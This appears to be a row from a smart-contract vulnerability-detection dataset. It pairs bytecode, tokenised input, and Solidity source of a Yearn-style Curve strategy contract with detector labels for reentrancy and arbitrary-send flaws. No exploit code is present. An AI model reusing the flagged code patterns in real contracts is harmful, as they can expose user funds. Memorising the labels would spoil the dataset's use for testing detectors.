2156129fe57600080fd5b8335612a09816129a5565b92506020840135612a19816129a5565b929592945050506040919091013590565b600060208284031215612a3c57600080fd5b8135610a38816129a5565b80358015158114612a5757600080fd5b919050565b60008060408385031215612a6f57600080fd5b82359150612a7f60208401612a47565b90509250929050565b600060208284031215612a9a57600080fd5b610a3882612a47565b60008060408385031215612ab657600080fd5b8235612ac1816129a5565b91506020830135612ad1816129a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612b2557607f821691505b60208210811415612b4657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082821015612b8a57612b8a612b62565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612bb957612bb9612b62565b5060010190565b60208082526017908201527f596f752068617665206e6f20706f776572206865726521000000000000000000604082015260600190565b60008219821115612c0a57612c0a612b62565b500190565b6000816000190483118215151615612c2957612c29612b62565b500290565b600082612c4b57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612c6257600080fd5b8151610a38816129a5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612cbd5784516001600160a01b031683529383019391830191600101612c98565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122063c306b72c96d0696c592f3b2788107572aae7d42ef8f2ce523b21ddd18fa2a364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14142, 2094, 19481, 24434, 19317, 2581, 3540, 26224, 2620, 2620, 3540, 2620, 16409, 2683, 20842, 3207, 2683, 20952, 17465, 2497, 2683, 2620, 14526, 2063, 2487, 1013, 1008, 1008, 100, 12909, 14876, 2595, 19204, 100, 1002, 11320, 2546, 2595, 100, 2880, 4888, 2260, 1013, 2539, 8299, 1024, 1013, 1013, 12909, 14876, 18413, 11045, 2078, 1012, 4012, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,697
0x9730f52ab5bcec960be41b0fe4913a09c0b57066
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: ICurveFi interface ICurveFi { function add_liquidity( uint256[2] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( uint256[3] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( uint256[4] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( uint256[2] calldata amounts, uint256 min_mint_amount ) external payable; function add_liquidity( uint256[3] calldata amounts, uint256 min_mint_amount ) external payable; function add_liquidity( uint256[4] calldata amounts, uint256 min_mint_amount ) external payable; // crv.finance: Curve.fi Factory USD Metapool v2 function add_liquidity( address pool, uint256[4] calldata amounts, uint256 min_mint_amount ) external; function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy ) external; function exchange_underlying( int128 i, int128 j, uint256 dx, uint256 min_dy ) external; function get_dy( int128 i, int128 j, uint256 dx ) external view returns (uint256); function balances(int128) external view returns (uint256); function get_virtual_price() external view returns (uint256); } // Part: IERC20Metadata interface IERC20Metadata { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Part: IVoterProxy interface IVoterProxy { function proxy() external returns (address); function balanceOf(address _gauge) external view returns (uint256); function deposit(address _gauge, address _token) external; function withdraw( address _gauge, address _token, uint256 _amount ) external returns (uint256); function withdrawAll(address _gauge, address _token) external returns (uint256); function harvest(address _gauge) external; function lock() external; function approveStrategy(address) external; function revokeStrategy(address) external; function claimRewards(address _gauge, address _token) external; } // Part: Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: Uni interface Uni { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external; } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: iearn-finance/yearn-vaults@0.3.3/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: iearn-finance/yearn-vaults@0.3.3/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.3.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external virtual view returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external virtual view returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public virtual view returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit - _loss`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * @notice * Provide a signal to the keeper that `tend()` 